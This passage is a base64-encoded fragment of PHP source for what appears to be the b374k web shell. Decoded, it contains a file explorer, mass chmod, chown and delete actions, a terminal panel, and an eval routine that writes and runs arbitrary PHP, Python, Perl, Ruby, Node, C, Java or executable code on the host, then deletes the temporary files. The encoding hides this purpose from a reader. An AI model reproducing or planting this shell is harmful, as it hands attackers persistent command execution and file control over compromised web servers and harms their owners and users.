aXNfd2luKCkpeyBpZihpc193cml0YWJsZSgiL3RtcCIpKSByZXR1cm4gIi90bXAvIjsgfSB9ICR0ZW1wZmlsZSA9IHRlbXBuYW0oX19GSUxFX18sJycpOyBpZihmaWxlX2V4aXN0cygkdGVtcGZpbGUpKXsgJGRpciA9IHJlYWxwYXRoKGRpcm5hbWUoJHRlbXBmaWxlKSkuRElSRUNUT1JZX1NFUEFSQVRPUjsgdW5saW5rKCR0ZW1wZmlsZSk7IHJldHVybiAkZGlyOyB9IH0gcmV0dXJuIGZhbHNlOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2RyaXZlcycpKXsgZnVuY3Rpb24gZ2V0X2RyaXZlcygpeyAkZHJpdmVzID0gIiI7ICR2ID0gZXhwbG9kZSgiXFwiLCBnZXRfY3dkKCkpOyAkdiA9ICR2WzBdOyBmb3JlYWNoIChyYW5nZSgiQSIsICJaIikgYXMgJGxldHRlcil7IGlmKEBpc19yZWFkYWJsZSgkbGV0dGVyLiI6XFwiKSl7ICRkcml2ZXMgLj0gIjxhIGNsYXNzPSduYXZiYXInIGRhdGEtcGF0aD0nIi4kbGV0dGVyLiI6XFwnPlsgIjsgaWYoJGxldHRlci4iOiIgIT0gJHYpICRkcml2ZXMgLj0gJGxldHRlcjsgZWxzZXskZHJpdmVzIC49ICI8c3BhbiBjbGFzcz0nZHJpdmUtbGV0dGVyJz4iLiRsZXR0ZXIuIjwvc3Bhbj4iO30gJGRyaXZlcyAuPSAiIF08L2E+ICI7IH0gfSByZXR1cm4gJGRyaXZlczsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Nob3dfYWxsX2ZpbGVzJykpeyBmdW5jdGlvbiBzaG93X2FsbF9maWxlcygkcGF0aCl7IGlmKCFpc19kaXIoJHBhdGgpKSByZXR1cm4gIk5vIHN1Y2ggZGlyZWN0b3J5IDogIi4kcGF0aDsgY2hkaXIoJHBhdGgpOyAkb3V0cHV0ID0gIiI7ICRhbGxmaWxlcyA9ICRhbGxmb2xkZXJzID0gYXJyYXkoKTsgaWYoJHJlcyA9IG9wZW5kaXIoJHBhdGgpKXsgd2hpbGUoJGZpbGUgPSByZWFkZGlyKCRyZXMpKXsgaWYoKCRmaWxlIT0nLicpJiYoJGZpbGUhPSIuLiIpKXsgaWYoaXNfZGlyKCRmaWxlKSkgJGFsbGZvbGRlcnNbXSA9ICRmaWxlOyBlbHNlaWYoaXNfZmlsZSgkZmlsZSkpJGFsbGZpbGVzW10gPSAkZmlsZTsgfSB9IH0gYXJyYXlfdW5zaGlmdCgkYWxsZm9sZGVycywgIi4iKTsgJGN1ciA9IGdldGN3ZCgpOyBjaGRpcigiLi4iKTsgaWYoZ2V0Y3dkKCkhPSRjdXIpIGFycmF5X3Vuc2hpZnQoJGFsbGZvbGRlcnMsICIuLiIpOyBjaGRpcigkY3VyKTsgbmF0Y2FzZXNvcnQoJGFsbGZvbGRlcnMpOyBuYXRjYXNlc29ydCgkYWxsZmlsZXMpOyAkY29scyA9IGFycmF5KCk7IGlmKGlzX3dpbigpKXsgJGNvbHMgPSBhcnJheSggInBlcm1zIj0+ImdldF9maWxlcGVybXMiLCAibW9kaWZpZWQiPT4iZ2V0X2ZpbGVtdGltZSIgKTsgfSBlbHNleyAkY29scyA9IGFycmF5KCAib3duZXIiPT4iZ2V0X2ZpbGVvd25lciIsICJwZXJtcyI9PiJnZXRfZmlsZXBlcm1zIiwgIm1vZGlmaWVkIj0+ImdldF9maWxlbXRpbWUiICk7IH0gJHRvdGFsRmlsZXMgPSBjb3VudCgkYWxsZmlsZXMpOyAkdG90YWxGb2xkZXJzID0gMDsgJG91dHB1dCAuPSAiPHRhYmxlIGlkPSd4cGxUYWJsZScgY2xhc3M9J2RhdGFWaWV3IHNvcnRhYmxlJz48dGhlYWQ+IjsgJG91dHB1dCAuPSAiPHRyPjx0aCBjbGFzcz0nY29sLWNib3ggc29ydHRhYmxlX25vc29ydCc+PGRpdiBjbGFzcz0nY0JveEFsbCc+PC9kaXY+PC90aD48dGggY2xhc3M9J2NvbC1uYW1lJz5uYW1lPC90aD48dGggY2xhc3M9J2NvbC1zaXplJz5zaXplPC90aD4iOyBmb3JlYWNoKCRjb2xzIGFzICRrPT4kdil7ICRvdXRwdXQgLj0gIjx0aCBjbGFzcz0nY29sLSIuJGsuIic+Ii4kay4iPC90aD4iOyB9ICRvdXRwdXQgLj0gIjwvdHI+PC90aGVhZD48dGJvZHk+IjsgZm9yZWFjaCgkYWxsZm9sZGVycyBhcyAkZCl7ICRjYm94RXhjZXB0aW9uID0gIiI7IGlmKCgkZD09Ii4iKXx8KCRkPT0iLi4iKSl7ICRhY3Rpb24gPSAiYWN0aW9uZG90IjsgJGNib3hFeGNlcHRpb24gPSAiIGNCb3hFeGNlcHRpb24iOyB9IGVsc2V7ICRhY3Rpb24gPSAiYWN0aW9uZm9sZGVyIjsgJHRvdGFsRm9sZGVycysrOyB9ICRvdXRwdXQgLj0gIiA8dHIgZGF0YS1wYXRoPVwiIi5odG1sX3NhZmUocmVhbHBhdGgoJGQpLkRJUkVDVE9SWV9TRVBBUkFUT1IpLiJcIj48dGQ+PGRpdiBjbGFzcz0nY0JveCIuJGNib3hFeGNlcHRpb24uIic+PC9kaXY+PC90ZD4gPHRkIHN0eWxlPSd3aGl0ZS1zcGFjZTpub3JtYWw7Jz48YSBjbGFzcz0nbmF2aWdhdGUnPlsgIi5odG1sX3NhZmUoJGQpLiIgXTwvYT48c3BhbiBjbGFzcz0nIi4kYWN0aW9uLiIgZmxvYXRSaWdodCc+YWN0aW9uPC9zcGFuPjwvdGQ+IDx0ZD5ESVI8L3RkPiI7IGZvcmVhY2goJGNvbHMgYXMgJGs9PiR2KXsgJHNvcnRhYmxlID0gIiI7IGlmKCRrPT0nbW9kaWZpZWQnKSAkc29ydGFibGUgPSAiIHRpdGxlPSciLmZpbGVtdGltZSgkZCkuIiciOyAkb3V0cHV0IC49ICI8dGQiLiRzb3J0YWJsZS4iPiIuJHYoJGQpLiI8L3RkPiI7IH0gJG91dHB1dCAuPSAiPC90cj4iOyB9IGZvcmVhY2goJGFsbGZpbGVzIGFzICRmKXsgJG91dHB1dCAuPSAiIDx0ciBkYXRhLXBhdGg9XCIiLmh0bWxfc2FmZShyZWFscGF0aCgkZikpLiJcIj48dGQ+PGRpdiBjbGFzcz0nY0JveCc+PC9kaXY+PC90ZD4gPHRkIHN0eWxlPSd3aGl0ZS1zcGFjZTpub3JtYWw7Jz48YSBjbGFzcz0ndmlldyc+Ii5odG1sX3NhZmUoJGYpLiI8L2E+PHNwYW4gY2xhc3M9J2FjdGlvbiBmbG9hdFJpZ2h0Jz5hY3Rpb248L3NwYW4+PC90ZD4gPHRkIHRpdGxlPSciLmZpbGVzaXplKCRmKS4iJz4iLmdldF9maWxlc2l6ZSgkZikuIjwvdGQ+IjsgZm9yZWFjaCgkY29scyBhcyAkaz0+JHYpeyAkc29ydGFibGUgPSAiIjsgaWYoJGs9PSdtb2RpZmllZCcpICRzb3J0YWJsZSA9ICIgdGl0bGU9JyIuZmlsZW10aW1lKCRmKS4iJyI7ICRvdXRwdXQgLj0gIjx0ZCIuJHNvcnRhYmxlLiI+Ii4kdigkZikuIjwvdGQ+IjsgfSAkb3V0cHV0IC49ICI8L3RyPiI7IH0gJG91dHB1dCAuPSAiPC90Ym9keT48dGZvb3Q+IjsgJGNvbHNwYW4gPSAxICsgY291bnQoJGNvbHMpOyAkb3V0cHV0IC49ICI8dHI+PHRkPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGQ+PHRkPiA8c2VsZWN0IGlkPSdtYXNzQWN0aW9uJyBjbGFzcz0nY29sU3Bhbic+IDxvcHRpb24gZGlzYWJsZWQgc2VsZWN0ZWQ+QWN0aW9uPC9vcHRpb24+IDxvcHRpb24+Y3V0PC9vcHRpb24+IDxvcHRpb24+Y29weTwvb3B0aW9uPiA8b3B0aW9uPnBhc3RlPC9vcHRpb24+IDxvcHRpb24+ZGVsZXRlPC9vcHRpb24+IDxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+IDxvcHRpb24+Y2htb2Q8L29wdGlvbj4gPG9wdGlvbj5jaG93bjwvb3B0aW9uPiA8b3B0aW9uPnRvdWNoPC9vcHRpb24+IDxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+IDxvcHRpb24+ZXh0cmFjdCAodGFyKTwvb3B0aW9uPiA8b3B0aW9uPmV4dHJhY3QgKHRhci5neik8L29wdGlvbj4gPG9wdGlvbj5leHRyYWN0ICh6aXApPC9vcHRpb24+IDxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+IDxvcHRpb24+Y29tcHJlc3MgKHRhcik8L29wdGlvbj4gPG9wdGlvbj5jb21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiA8b3B0aW9uPmNvbXByZXNzICh6aXApPC9vcHRpb24+IDxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+IDwvc2VsZWN0PiA8L3RkPjx0ZCBjb2xzcGFuPSciLiRjb2xzcGFuLiInPjwvdGQ+PC90cj4gPHRyPjx0ZD48L3RkPjx0ZCBjb2xzcGFuPSciLisrJGNvbHNwYW4uIic+Ii4kdG90YWxGaWxlcy4iIGZpbGUocyksICIuJHRvdGFsRm9sZGVycy4iIEZvbGRlcihzKTxzcGFuIGNsYXNzPSd4cGxTZWxlY3RlZCc+PC9zcGFuPjwvdGQ+PC90cj4gIjsgJG91dHB1dCAuPSAiPC90Zm9vdD48L3RhYmxlPiI7IHJldHVybiAkb3V0cHV0OyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZXZhbF9nZXRfc3VwcG9ydGVkJykpeyBmdW5jdGlvbiBldmFsX2dldF9zdXBwb3J0ZWQoKXsgJGV2YWxfc3VwcG9ydGVkID0gYXJyYXkoKTsgJGV2YWxfc3VwcG9ydGVkW10gPSAicGhwIjsgJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJweXRob24gLWgiKSk7IGlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicHl0aG9uIjsgJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJwZXJsIC1oIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gInBlcmwiOyAkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoInJ1YnkgLWgiKSk7IGlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicnVieSI7ICRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgibm9kZSAtaCIpKTsgaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJub2RlIjsgZWxzZXsgJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJub2RlanMgLWgiKSk7IGlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAibm9kZWpzIjsgfSAkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoImdjYyAtLWhlbHAiKSk7IGlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAiZ2NjIjsgJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJqYXZhIC1oZWxwIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpeyAkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoImphdmFjIC1oZWxwIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gImphdmEiOyB9IHJldHVybiBpbXBsb2RlKCIsIiwgJGV2YWxfc3VwcG9ydGVkKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2V2YWxfZ28nKSl7IGZ1bmN0aW9uIGV2YWxfZ28oJGV2YWxUeXBlLCAkZXZhbENvZGUsICRldmFsT3B0aW9ucywgJGV2YWxBcmd1bWVudHMpeyAkcmVzID0gIiI7ICRvdXRwdXQgPSAiIjsgaWYoJGV2YWxPcHRpb25zIT0iIikgJGV2YWxPcHRpb25zID0gJGV2YWxPcHRpb25zLiIgIjsgaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsgaWYoJGV2YWxUeXBlPT0icGhwIil7IG9iX3N0YXJ0KCk7IGV2YWwoJGV2YWxDb2RlKTsgJHJlcyA9IG9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgcmV0dXJuICRyZXM7IH0gZWxzZWlmKCgkZXZhbFR5cGU9PSJweXRob24iKXx8KCRldmFsVHlwZT09InBlcmwiKXx8KCRldmFsVHlwZT09InJ1YnkiKXx8KCRldmFsVHlwZT09Im5vZGUiKXx8KCRldmFsVHlwZT09Im5vZGVqcyIpKXsgJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOyBjaGRpcigkdG1wZGlyKTsgJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOyBpZihpc193cml0YWJsZSgkdG1wZGlyKSl7ICRyZXMgLj0gIiAod3JpdGFibGUpXG4iOyAkdW5pcSA9IHN1YnN0cihtZDUodGltZSgpKSwwLDgpOyAkZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXE7ICRwYXRoID0gJGZpbGVuYW1lOyAkcmVzIC49ICJUZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7IGlmKHdyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpeyAkcmVzIC49ICIgKG9rKVxuIjsgJHJlcyAuPSAiU2V0dGluZyBwZXJtaXNzaW9ucyA6IDA3NTUiOyBpZihjaG1vZCgkcGF0aCwgMDc1NSkpeyAkcmVzIC49ICIgKG9rKVxuIjsgJGNtZCA9ICRldmFsVHlwZS4iICIuJGV2YWxPcHRpb25zLiRwYXRoLiRldmFsQXJndW1lbnRzOyAkcmVzIC49ICJFeGVjdXRlIDogIi4kY21kLiJcbiI7ICRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOyB9IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyAkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7IGlmKHVubGluaygkcGF0aCkpICRyZXMgLj0gIiAob2spXG4iOyBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsgJHJlcyAuPSAiRmluaXNoZWQuLi4iOyByZXR1cm4gJHJlcy4ie1t8YjM3NGt8XX0iLiRvdXRwdXQ7IH0gZWxzZWlmKCRldmFsVHlwZT09ImdjYyIpeyAkdG1wZGlyID0gZ2V0X3dyaXRhYmxlZGlyKCk7IGNoZGlyKCR0bXBkaXIpOyAkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7IGlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsgJHJlcyAuPSAiICh3cml0YWJsZSlcbiI7ICR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7ICRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcS4iLmMiOyAkcGF0aCA9ICRmaWxlbmFtZTsgJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOyBpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRleHQgPSAoaXNfd2luKCkpPyAiLmV4ZSI6Ii5vdXQiOyAkcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0OyAkZXZhbE9wdGlvbnMgPSAiLW8gIi4kcGF0aHJlcy4iICIuJGV2YWxPcHRpb25zOyAkY21kID0gImdjYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsgJHJlcyAuPSAiQ29tcGlsaW5nIDogIi4kY21kOyAkcmVzIC49IGV4ZWN1dGUoJGNtZCk7IGlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsgaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsgJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOyAkb3V0cHV0ID0gZXhlY3V0ZSgkY21kKTsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRocmVzOyBpZih1bmxpbmsoJHBhdGhyZXMpKSAkcmVzIC49ICIgKG9rKVxuIjsgZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7IH0gZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7ICRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsgaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChub3Qgd3JpdGFibGUpXG4iOyAkcmVzIC49ICJGaW5pc2hlZC4uLiI7IHJldHVybiAkcmVzLiJ7W3xiMzc0a3xdfSIuJG91dHB1dDsgfSBlbHNlaWYoJGV2YWxUeXBlPT0iamF2YSIpeyAkdG1wZGlyID0gZ2V0X3dyaXRhYmxlZGlyKCk7IGNoZGlyKCR0bXBkaXIpOyAkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7IGlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsgJHJlcyAuPSAiICh3cml0YWJsZSlcbiI7IGlmKHByZWdfbWF0Y2goIi9jbGFzc1wgKFtee10rKXsvaSIsJGV2YWxDb2RlLCAkcikpeyAkY2xhc3NuYW1lID0gdHJpbSgkclsxXSk7ICRmaWxlbmFtZSA9ICRjbGFzc25hbWU7IH0gZWxzZXsgJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsgJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOyAkZXZhbENvZGUgPSAiY2xhc3MgIi4kZmlsZW5hbWUuIiB7ICIuJGV2YWxDb2RlIC4gIiB9ICI7IH0gJHBhdGggPSAkZmlsZW5hbWUuIi5qYXZhIjsgJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOyBpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRjbWQgPSAiamF2YWMgIi4kZXZhbE9wdGlvbnMuJHBhdGg7ICRyZXMgLj0gIkNvbXBpbGluZyA6ICIuJGNtZDsgJHJlcyAuPSBleGVjdXRlKCRjbWQpOyAkcGF0aHJlcyA9ICRmaWxlbmFtZS4iLmNsYXNzIjsgaWYoaXNfZmlsZSgkcGF0aHJlcykpeyAkcmVzIC49ICIgKG9rKVxuIjsgJHJlcyAuPSAiU2V0dGluZyBwZXJtaXNzaW9ucyA6IDA3NTUiOyBpZihjaG1vZCgkcGF0aHJlcywgMDc1NSkpeyAkcmVzIC49ICIgKG9rKVxuIjsgJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOyAkcmVzIC49ICJFeGVjdXRlIDogIi4kY21kLiJcbiI7ICRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOyB9IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyAkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGhyZXM7IGlmKHVubGluaygkcGF0aHJlcykpICRyZXMgLj0gIiAob2spXG4iOyBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOyBpZih1bmxpbmsoJHBhdGgpKSAkcmVzIC49ICIgKG9rKVxuIjsgZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7IH0gZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7IH0gZWxzZSAkcmVzIC49ICIgKG5vdCB3cml0YWJsZSlcbiI7ICRyZXMgLj0gIkZpbmlzaGVkLi4uIjsgcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OyB9IGVsc2VpZigkZXZhbFR5cGU9PSJleGVjdXRhYmxlIil7ICR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsgY2hkaXIoJHRtcGRpcik7ICRyZXMgLj0gIlVzaW5nIGRpciA6ICIuJHRtcGRpcjsgaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpeyAkcmVzIC49ICIgKHdyaXRhYmxlKVxuIjsgJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsgJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxLiIuZXhlIjsgJHBhdGggPSAkZmlsZW5hbWU7ICRyZXMgLj0gIlRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsgaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7ICRyZXMgLj0gIiAob2spXG4iOyAkY21kID0gJHBhdGguJGV2YWxBcmd1bWVudHM7ICRyZXMgLj0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsgJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7ICRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsgaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChub3Qgd3JpdGFibGUpXG4iOyAkcmVzIC49ICJGaW5pc2hlZC4uLiI7IHJldHVybiAkcmVzLiJ7W3xiMzc0a3xdfSIuJG91dHB1dDsgfSByZXR1cm4gZmFsc2U7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdvdXRwdXQnKSl7IGZ1bmN0aW9uIG91dHB1dCgkc3RyKXsgJGVycm9yID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfZW5kX2NsZWFuKCk7IGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7IGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUiKTsgaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7IGVjaG8gJHN0cjsgZGllKCk7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdpc19naXRfcmVwbycpKXsgZnVuY3Rpb24gaXNfZ2l0X3JlcG8oKXsgcmV0dXJuIGJvb2x2YWwoIGZpbmRfZ2l0X3JlcG8oZ2V0Y3dkKCkuRElSRUNUT1JZX1NFUEFSQVRPUi4iLmdpdCIpICk7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdmaW5kX2dpdF9yZXBvJykpeyBmdW5jdGlvbiBmaW5kX2dpdF9yZXBvKCRwYXRoKXsgaWYoZGlybmFtZSgkcGF0aCkgPT0gRElSRUNUT1JZX1NFUEFSQVRPUil7IHJldHVybiBmYWxzZTsgfWVsc2UgaWYoaXNfZGlyKGRpcm5hbWUoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIi5naXQiKSl7IHJldHVybiBkaXJuYW1lKCRwYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiIuZ2l0IjsgfWVsc2V7IHJldHVybiBmaW5kX2dpdF9yZXBvKGRpcm5hbWUoJHBhdGgpKTsgfSB9Cn0gPz48P3BocCBibG9ja19ib3QoKTsKYXV0aCgpOwpjaGRpcihnZXRfY3dkKCkpOwokbmF2ID0gZ2V0X25hdihnZXRfY3dkKCkpOwokcCA9IGFycmF5X21hcCgicmF3dXJsZGVjb2RlIiwgZ2V0X3Bvc3QoKSk7CiRjd2QgPSBodG1sX3NhZmUoZ2V0X2N3ZCgpKTsKJEdMT0JBTFNbJ21vZHVsZSddID0gYXJyYXkoKTsgJGV4cGxvcmVyX2NvbnRlbnQgPSAiIjsKaWYoaXNzZXQoJHBbJ3ZpZXdFbnRyeSddKSl7ICRwYXRoID0gdHJpbSgkcFsndmlld0VudHJ5J10pOyBpZihpc19maWxlKCRwYXRoKSl7ICRkaXJuYW1lID0gcmVhbHBhdGgoZGlybmFtZSgkcGF0aCkpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IHNldGNvb2tpZSgiY3dkIiwgJGRpcm5hbWUpOyBjaGRpcigkZGlybmFtZSk7ICRuYXYgPSBnZXRfbmF2KCRkaXJuYW1lKTsgJGN3ZCA9IGh0bWxfc2FmZSgkZGlybmFtZSk7ICRleHBsb3Jlcl9jb250ZW50ID0gdmlld19maWxlKCRwYXRoLCAiYXV0byIpOyB9IGVsc2VpZihpc19kaXIoJHBhdGgpKXsgJHBhdGggPSByZWFscGF0aCgkcGF0aCkuRElSRUNUT1JZX1NFUEFSQVRPUjsgc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7IGNoZGlyKCRwYXRoKTsgJG5hdiA9IGdldF9uYXYoJHBhdGgpOyAkY3dkID0gaHRtbF9zYWZlKCRwYXRoKTsgJGV4cGxvcmVyX2NvbnRlbnQgPSBzaG93X2FsbF9maWxlcygkcGF0aCk7IH0KfQplbHNlICRleHBsb3Jlcl9jb250ZW50ID0gc2hvd19hbGxfZmlsZXMoZ2V0X2N3ZCgpKTsgJEdMT0JBTFNbJ21vZHVsZSddWydleHBsb3JlciddWydpZCddID0gImV4cGxvcmVyIjsKJEdMT0JBTFNbJ21vZHVsZSddWydleHBsb3JlciddWyd0aXRsZSddID0gIkV4cGxvcmVyIjsKJEdMT0JBTFNbJ21vZHVsZSddWydleHBsb3JlciddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWydleHBsb3JlciddWydjb250ZW50J10gPSAkZXhwbG9yZXJfY29udGVudDsgJEdMT0JBTFNbJ21vZHVsZSddWyd0ZXJtaW5hbCddWydpZCddID0gInRlcm1pbmFsIjsKJEdMT0JBTFNbJ21vZHVsZSddWyd0ZXJtaW5hbCddWyd0aXRsZSddID0gIlRlcm1pbmFsIjsKJEdMT0JBTFNbJ21vZHVsZSddWyd0ZXJtaW5hbCddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiCmlmKCghcG9ydGFibGVNb2RlKSAmJiAoJCgnI3Rlcm1pbmFsT3V0cHV0JykuaHRtbCgpPT0nJykpICQoJyN0ZXJtaW5hbElucHV0JykuZm9jdXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2NvbnRlbnQnXSA9ICI8cHJlIGlkPSd0ZXJtaW5hbE91dHB1dCc+PC9wcmU+PHRhYmxlIGlkPSd0ZXJtaW5hbFByb21wdCc+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz48c3BhbiBpZD0ndGVybWluYWxDd2QnIGNsYXNzPSdzdHJvbmcnPiIuZ2V0X2N3ZCgpLiImZ3Q7PC9zcGFuPC90ZD48dGQgaWQ9J3Rlcm1pbmFsQ29tbWFuZCc+PGlucHV0IHR5cGU9J3RleHQnIGlkPSd0ZXJtaW5hbElucHV0JyBjbGFzcz0nZmxvYXRMZWZ0JyBzcGVsbGNoZWNrPSdmYWxzZSc+PC90ZD48L3RyPjwvdGFibGU+IjsgJEdMT0JBTFNbJ21vZHVsZSddWydldmFsJ11bJ2lkJ10gPSAiZXZhbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXZhbCddWyd0aXRsZSddID0gIkV2YWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsnanNfb250YWJzZWxlY3RlZCddID0gIgppZigoIXBvcnRhYmxlTW9kZSkgJiYgKCQoJyNldmFsT3V0cHV0JykuaHRtbCgpPT0nWW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0JykpICQoJyNldmFsSW5wdXQnKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXZhbCddWydjb250ZW50J10gPSAiCjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPiA8dHI+PHRoIGNvbHNwYW49JzQnPjxwIGNsYXNzPSdib3h0aXRsZSc+RXZhbDwvcD48L3RoPjwvdHI+CjwvdGhlYW